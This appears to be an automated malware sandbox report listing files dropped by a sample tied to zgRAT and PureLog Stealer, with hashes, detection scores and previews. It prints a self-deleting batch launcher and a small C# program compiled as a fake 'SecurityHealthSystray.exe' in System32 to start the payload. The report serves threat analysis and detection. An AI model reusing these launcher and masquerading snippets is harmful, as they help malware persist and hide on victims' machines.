Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..2,"System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutr

C:\Users\user\AppData\Local\Temp\FeErzF7oGb.bat

Download File

Process:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	5.280363117998461
Encrypted:	false
SSDEEP:	6:hCijTg3Nou1SV+DE1WD5j2AY5bgWEYKOZG1wkn23fx:HTg9uYDEosLfJ
MD5:	858941AC9FA9DDEE088066984F5E3903
SHA1:	D36FAF2F874B466BE8BE14E7EE35C953EE8C15F1
SHA-256:	A6D64B98ECEB722932AD680CD3B56B7324B18739D1FE9245416A79B18E8534BD
SHA-512:	9F0604C6D31081A9B798945372BCAC1207BB0D48E00A43503580DF0FFAF0B5867AD4E50C7103916828399C891AB0C6E5D7F10A2464729BE191CFC5DD6EA5C739
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Users\Default User\Local Settings\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\FeErzF7oGb.bat"

C:\Users\user\AppData\Local\Temp\RES69DB.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x6e0, 10 symbols, created Fri Jan 10 06:19:03 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1944
Entropy (8bit):	4.5420385428703405
Encrypted:	false
SSDEEP:	24:HQC9aOO+kqiBhuXDfHfWwKJNyluxOysuZhN7jSjRzPNnqpdt4+lEbNFjMyi0+WUZ:++sBE/1KJMluOulajfqXSfbNtmhBZ
MD5:	57D8B93966A7DFF581A866EF60CF5839
SHA1:	33B53E36EB8E718FF471EDBABD9D06F1675C033E
SHA-256:	AF82369DC2C80DE45ED19C674011559044E0B50B7C9F596F8106C5005339B602
SHA-512:	9BE71F453C02E48F30529243A54D4C40533078E06ABD8CAE3687E992D38622C2F1ACECE97896F6BAB5AFCB8B4CBAEEB6466A91E46850DCEF4712DEE1C1EB22FD
Malicious:	false
Preview:	L.....g.............debug$S........0...................@..B.rsrc$01................\...........@..@.rsrc$02........p...p...............@..@........;....c:\Windows\System32\CSCAAFDA77B4B0340CF902F598B7E2DA6.TMP...................r.av..t.y..............4.......C:\Users\user\AppData\Local\Temp\RES69DB.tmp.-.<....................a..Microsoft (R) CVTRES.V.=..cwd.C:\ChainBroker.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe......................... .......8.......................P.......................h.......................................................\|...............................................\|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.n.a.l.N.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.

C:\Users\user\AppData\Local\Temp\RruUKzAjOp

Download File

Process:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.403856189774723
Encrypted:	false
SSDEEP:	3:rdjXn:rdr
MD5:	E17B86FFBB715F8973D8E2DB69B4928E
SHA1:	F5514FC5BA047EA0D10977BFF9DB70433CC49EE8
SHA-256:	47E86725DF89A0E0AB0EE785AC3C6241C9B73B1E448F0CF630D1124A47956794
SHA-512:	F2A811761C44E747D6318051174F0FD641B0C4E7F4F84B28B0393A0BBBF3FAC816DAE4F0F2DFDF4C31CB1EAB2A682C48228009331CE5CF8FCE5C8106919AE26F
Malicious:	false
Preview:	CkP8xYCjVOFpWicd3thMXjWKr

C:\Users\user\AppData\Local\Temp\axeflxig\axeflxig.0.cs

Download File

Process:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	417
Entropy (8bit):	5.084077200645864
Encrypted:	false
SSDEEP:	12:V/DNVgtDIbSf+eBLZ7bfiFkMSf+eBLdseiFkD:JNVQIbSfhV7TiFkMSfh6FkD
MD5:	61C065418F14A4276342E6FB50960C04
SHA1:	AB85DAD7CAEC7FA4327E64900FFF2C8EB448B6FC
SHA-256:	25EBDC2BECB54DBB7616C070C410D36FF195CB9544D5CDC89D5A13FB5C678F82
SHA-512:	6625FF3E88EDA8AAA31310AB51594A0D340940B0103D3924B2D0087344B11C201BF18EE508AF2E486F575F0E4BD60C239D241B601F4C9601BCA56364D9465BAE
Malicious:	false
Preview:	.using System.Diagnostics;.using System.Threading;..class Program.{. static void Main(string[] args). {. new Thread(() => { try { Process.Start(@"C:\Windows\system32\SecurityHealthSystray.exe.exe", string.Join(" ", args)); } catch { } }).Start();. new Thread(() => { try { Process.Start(@"C:\Users\Default User\Local Settings\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe"); } catch { } }).Start();. }.}.

C:\Users\user\AppData\Local\Temp\axeflxig\axeflxig.cmdline

Download File

Process:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	250
Entropy (8bit):	5.028522661364153
Encrypted:	false
SSDEEP:	6:Hu+H2L//1xRT0T79BzxsjGZxWE8owkn23fRhLBH:Hu7L//TRq79cQWfJH
MD5:	20DCAC747D3A1ECD8FEBFF6947BE8E0E
SHA1:	6D070C28AA454A71936CA19D75ED3BF9FA941097
SHA-256:	776AC2D827E048967C459C6ABF1621255E943DAAA0DC423BEB4A2559D8804AF1
SHA-512:	E1CD6130723567C1FAEB683C92D4854DC1239469394CCF2B209C55D64B59F2D0ECB458FC5BE631F53F0E3367793D18135C8B3DA4D1A53720CF5B14EBEB436FC4
Malicious:	true
Preview:	./t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\axeflxig\axeflxig.0.cs"

C:\Users\user\AppData\Local\Temp\axeflxig\axeflxig.out

Download File

Process:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (321), with CRLF, CR line terminators
Category:	modified
Size (bytes):	742
Entropy (8bit):	5.248874644352155
Encrypted:	false
SSDEEP:	12:xoMI/u7L//TRq79cQWfJOKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:zI/un/Vq79tWfMKax5DqBVKVrdFAMBJj
MD5:	DB56D8738ACE229E968428541E164E26
SHA1:	DDA2E2AC2C47135C2378BE6A1B6876B0452F70F3
SHA-256:	92406C42FF94640D513DC9CEA7C4B11191BFC0E0B38F85583A1F21BF8253BA83
SHA-512:	38791E4580BB85B9317D337A8BA5D11E5CC870807A002C34520F59EFFA8D350FC3E187C533E459B6AC15223D7393DF787043E0B1363449971C11107A36F48522
Malicious:	false
Preview:	.C:\ChainBroker> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\axeflxig\axeflxig.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\Desktop\ARUSTYfT.log

Download File

Process:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71% Antivirus: Virustotal, Detection: 69%, Browse
Joe Sandbox View:	Filename: 0V2JsCrGUB.exe, Detection: malicious, Browse Filename: PlZA6b48MW.exe, Detection: malicious, Browse Filename: wxl1r0lntg.exe, Detection: malicious, Browse Filename: HaLCYOFjMN.exe, Detection: malicious, Browse Filename: Z90Z9bYzPa.exe, Detection: malicious, Browse Filename: 0J5DzstGPi.exe, Detection: malicious, Browse Filename: 6d86b21fec8d0f8698e2e22aeda3fbd0381300e8a746b.exe, Detection: malicious, Browse Filename: HMhdtzxEHf.exe, Detection: malicious, Browse Filename: Gg6wivFINd.exe, Detection: malicious, Browse Filename: onlysteal.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\VObntHLa.log

Download File

Process:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25% Antivirus: Virustotal, Detection: 35%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\hzhmzTUD.log

Download File

Process:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8% Antivirus: Virustotal, Detection: 11%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\riACjval.log

Download File

Process:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe

Download File

Process:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	14385664
Entropy (8bit):	1.4645845784334848
Encrypted:	false
SSDEEP:	24576:LAkClP6KrD3UGYB2Ue9L35+2WcESjvGMJoIlT1sMNAje+Iv4dr6/jg5EI5VG:khMsccEmgIT1sJjdIvqr4tI5
MD5:	39953ACD4FD32884E6CAD0D1E4688051
SHA1:	31579801F012118285F1FD48CCF63B07EBE1594A
SHA-256:	5773E581CE59418EE4C3F205D4FA16AD74718D16D1D8E4DD37332BB4ECB850BF
SHA-512:	3823AD17C90EF4454A774E59D9B5E37B11ABF451D6485C4BF7F54CF04738D01A3B6020346FC7817CB48B32CFCEFBCE46667B3B185BAF44C0FF00ECB4E027DF35
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....R}g.................:..........>Y... ...`....@.. ....................................@..................................X..K....`.. ............................................................................ ............... ..H............text...D9... ...:.................. ..`.rsrc... ....`.......<..............@....reloc...............@..............@..B................ Y......H....................... ...2t..gX.......................................0..........(.... ........8........E........8...\.......8....(.... ....8....(.... ....~....{....:....& ....8....(.... ....~....{u...9....& ....8........0..'....... ........8........E....G.......................V...8B...r...ps....z~....(Q... .... .... ....s....~....(U....... ....8....8.... ....8........~....(Y...~....(]... ....<.... ....~....{....:S...& ....8H...~....9.... ....84......... ....~....{....9

C:\Users\user\b1829d2998bf98

Download File

Process:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
File Type:	ASCII text, with very long lines (615), with no line terminators
Category:	dropped
Size (bytes):	615
Entropy (8bit):	5.875939092492741
Encrypted:	false
SSDEEP:	12:T9IABximgoz8eD/TXJ0D+rrB9HsymGnk6Jp9Fofc1qDi1i:qABxFgS5LZFlLmk1FDKi1i
MD5:	26F5D8C1E93F382F601F6C73CA5E6B65
SHA1:	689DC24E15E6E6F818BDF8CD50B5C84AFDFF4D9C
SHA-256:	BE7FC67170394BFA6121643690E3779482F7DA0C52C502ACF356EBF070E823B3
SHA-512:	1AF19D87A484D2C4727BEB4C57D0364E852A62A4961A4EE1FC377DF5417C09EA5AFCF06EBD34D560DAC48BC557120DECBF014B57F1C9416D721C73AE868AE831
Malicious:	false
Preview:	5Fqj3OI7dMzelLEhigmasXgvEMo2FI8NT8MRCRS2XgJj3SJiNe1KZP3ij5erkQ2VNmKn9weROuDMN61wCFpkQyyEFosHwlSHoyWRHgja9k5pLqUmDsoekREZyGhUEXenc6hYkkpggOkq2J2YTFDE6xgXt6dB8OWmFSMPJ5BdDH8VqYhpNJB8TaqoZKpnHniR27kj6mPXDkByzKqUZyxzNXTpmiz8QXWZjrdsy7sl4n4sY1yPdUOT0tEfo57XwQHqOmPIr8gbFL4jclQutkf5JCi0n7E2AUyogOdwmqhfxxNoyeCDoMoLuLgLDYft4nauWQDOHdICCAHVz3CI5BOyqn3UrRtNLylKWdRhbx5LElJuELWJWXy3ZmEtXshzu41OY78VleqHFDtEdIQg5j1y9suuYhKsQGbKt4VGMAh1qrxW29QOcA4KCDOqNO6EU809mjUjxKT4CAIS4Y1ZR6QQLQHppo37Edhr0yuToqaSq9IC56wyWhwXrkxVbp3IQW0idacGohulf8jLIFut2EkgrJ9QAY29wSBUJjifeqKyxL2tBlMV4KQMvT1TaLFPpuyN6OCjgOOL3wtgRPOZMgElByjzsPESl4JCWoxwjmz

C:\Windows\Migration\WTR\SfLAFHFXIbHzHGgilQgXtKOw.exe

Download File

Process:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	14385664
Entropy (8bit):	1.4645845784334848
Encrypted:	false
SSDEEP:	24576:LAkClP6KrD3UGYB2Ue9L35+2WcESjvGMJoIlT1sMNAje+Iv4dr6/jg5EI5VG:khMsccEmgIT1sJjdIvqr4tI5
MD5:	39953ACD4FD32884E6CAD0D1E4688051
SHA1:	31579801F012118285F1FD48CCF63B07EBE1594A
SHA-256:	5773E581CE59418EE4C3F205D4FA16AD74718D16D1D8E4DD37332BB4ECB850BF
SHA-512:	3823AD17C90EF4454A774E59D9B5E37B11ABF451D6485C4BF7F54CF04738D01A3B6020346FC7817CB48B32CFCEFBCE46667B3B185BAF44C0FF00ECB4E027DF35
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....R}g.................:..........>Y... ...`....@.. ....................................@..................................X..K....`.. ............................................................................ ............... ..H............text...D9... ...:.................. ..`.rsrc... ....`.......<..............@....reloc...............@..............@..B................ Y......H....................... ...2t..gX.......................................0..........(.... ........8........E........8...\.......8....(.... ....8....(.... ....~....{....:....& ....8....(.... ....~....{u...9....& ....8........0..'....... ........8........E....G.......................V...8B...r...ps....z~....(Q... .... .... ....s....~....(U....... ....8....8.... ....8........~....(Y...~....(]... ....<.... ....~....{....:S...& ....8H...~....9.... ....84......... ....~....{....9

C:\Windows\Migration\WTR\b1829d2998bf98

Download File

Process:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
File Type:	ASCII text, with very long lines (330), with no line terminators
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.81356821267711
Encrypted:	false
SSDEEP:	6:hi8knEv5B7/Mz9Q+FSX9p3PpD6wTzASBc8dj/yk0aqFbSumnGS5oOM2V+JoSw49e:zx55/f+i9pxDBxcMuvPFbSumF5PM2V+k
MD5:	9A8D08EA63F910635F2D4872EF2B3655
SHA1:	2174E9FE90C5DFF296EC308445078F022F703424
SHA-256:	56F1F1094C8C8E49184014689971F19AB879D7E45528E5FF7FDD235C97E05D8C
SHA-512:	9082B4FA7726AB253E254658761012864D77B9495B848177DA93882A14410626AAF95A84DF78764694B771CA0C74AE2553462C4BD7128BA9AB0433D66AD1D7ED
Malicious:	false
Preview:	Z8ueYYGEAY7CiyRnBqZ5bEURFZJGe1p7LYrHYNsFiAA2TI1fLm7qEt2VncY8P9kIsA0KGJPy7TWaDc87in51392cfWd6yu0ja1JTRrYBXJsuWcRLdbalDsOtHYoupS9NdwAMTpp0O4duRIFDEScXTPgrmZM3CoVEKeRkbF2ywjWJPec8TlqX0l4NQTj3dvxkiZkw1fl8Zolt2XbI7Nkb78OikDUHg9VAwvk04pHy9r7M9KV21b5PLWmkKCMyKdcaTl7GwlORGwcQACiZrbQFDFzaJAp2dTnfOh3YNOFPMnJY3WjIdxGtNXWNwh7w6WywJ7BdJJLdVA

C:\Windows\SchCache\9e8d7a4ca61bd9

Download File

Process:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
File Type:	ASCII text, with very long lines (431), with no line terminators
Category:	dropped
Size (bytes):	431
Entropy (8bit):	5.883473171699749
Encrypted:	false
SSDEEP:	12:0y4ArDq/ac/BlhQAham5ooTAIfWRyu1oReHrm:2AHqCc/jBAm5ookQWRuSm
MD5:	F9C4BB457C064F908A12F50601E18D1C
SHA1:	D11D3CBCFFFF7DE06FC5DF790B447E512CA7B6B6
SHA-256:	DE4240BDE094A37E7A680E04D6BE7CE7D779455343F11EDC706F5AE36CED99D6
SHA-512:	65C5CE25D6AD48A1C66019B6E326B19C565BD4D8091AC70229B610F5AB6815CD992D1F2FD803421E83C88A95699033592EACADE69B95CE5CFAFA650221CAD01B
Malicious:	false
Preview:	fTct1R4A78kEa3o7YiKspbebQnTG9Cc3N7JICKd1MGsa8hcVqLhSemuDzAdO7yB5gq1cug5OESfjsDdsK8axfJZkMFTBrP4YFx3Rq9kKQTOMGLVvhuD9XNZWRQQpM4hyXHe5KLCLYQhM5MeBuid6M5A1Xh9at57WvZy8rZlVs1kHqNbFvO5oakmcHmhnMlbcSKagXfUU7IOUU2LKG4oeAS6LxV1E28JGaIyfx4rP4krRVRIPaXgR66cAOOtCoPb99H4MDqWLMZkZkozfNlofb1JdpyQiKpkpJsSNW6LuAVFhWDZkYNzCk6hI8bgPZxAhy5P2VmJQa4fFwlGmYqK70iENKKP4a5UMUhtaxhOwEimqbcWWU41tnDrQ1CrLWO0ejSvO2pz0bX2R5Ywsy3jgEliQ0dju0Da0sHGIrHeoEARQLaU

C:\Windows\SchCache\RuntimeBroker.exe

Download File

Process:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	14385664
Entropy (8bit):	1.4645845784334848
Encrypted:	false
SSDEEP:	24576:LAkClP6KrD3UGYB2Ue9L35+2WcESjvGMJoIlT1sMNAje+Iv4dr6/jg5EI5VG:khMsccEmgIT1sJjdIvqr4tI5
MD5:	39953ACD4FD32884E6CAD0D1E4688051
SHA1:	31579801F012118285F1FD48CCF63B07EBE1594A
SHA-256:	5773E581CE59418EE4C3F205D4FA16AD74718D16D1D8E4DD37332BB4ECB850BF
SHA-512:	3823AD17C90EF4454A774E59D9B5E37B11ABF451D6485C4BF7F54CF04738D01A3B6020346FC7817CB48B32CFCEFBCE46667B3B185BAF44C0FF00ECB4E027DF35
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Windows\SchCache\RuntimeBroker.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\SchCache\RuntimeBroker.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....R}g.................:..........>Y... ...`....@.. ....................................@..................................X..K....`.. ............................................................................ ............... ..H............text...D9... ...:.................. ..`.rsrc... ....`.......<..............@....reloc...............@..............@..B................ Y......H....................... ...2t..gX.......................................0..........(.... ........8........E........8...\.......8....(.... ....8....(.... ....~....{....:....& ....8....(.... ....~....{u...9....& ....8........0..'....... ........8........E....G.......................V...8B...r...ps....z~....(Q... .... .... ....s....~....(U....... ....8....8.... ....8........~....(Y...~....(]... ....<.... ....~....{....:S...& ....8H...~....9.... ....84......... ....~....{....9

C:\Windows\System32\CSCAAFDA77B4B0340CF902F598B7E2DA6.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	1224
Entropy (8bit):	4.435108676655666
Encrypted:	false
SSDEEP:	24:OBxOysuZhN7jSjRzPNnqNdt4+lEbNFjMyi07:COulajfqTSfbNtme
MD5:	931E1E72E561761F8A74F57989D1EA0A
SHA1:	B66268B9D02EC855EB91A5018C43049B4458AB16
SHA-256:	093A39E3AB8A9732806E0DA9133B14BF5C5B9C7403C3169ABDAD7CECFF341A53
SHA-512:	1D05A9BB5FA990F83BE88361D0CAC286AC8B1A2A010DB2D3C5812FB507663F7C09AE4CADE772502011883A549F5B4E18B20ACF3FE5462901B40ABCC248C98770
Malicious:	false
Preview:	.... ...........................\|...<...............0...........\|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.n.a.l.N.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...\.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0....................................<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">.. <securi

C:\Windows\System32\SecurityHealthSystray.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.994703751663742
Encrypted:	false
SSDEEP:	48:6upDPtKM7Jt8Bs3FJsdcV4MKe27hx0NPvqBHmOulajfqXSfbNtm:JPZPc+Vx9M3qvkAcjRzNt
MD5:	8055E5D0094B3F48EBFB630261948B0D
SHA1:	6CEE8B301B909FB12CF14FC544E08DDCB26EF983
SHA-256:	8BC6B0FC155C64A919329CA9A453644C59F6D377DE99CD556C1C51208EF66543
SHA-512:	2B31FD36392514E67328AAD9A2E3B8029EC2056E65F1A3ED68C9D1CB1A1B0F219C313AD9C3B16FAC2943A421842A087D168D65A202182ACEABB0D75F587CD25E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
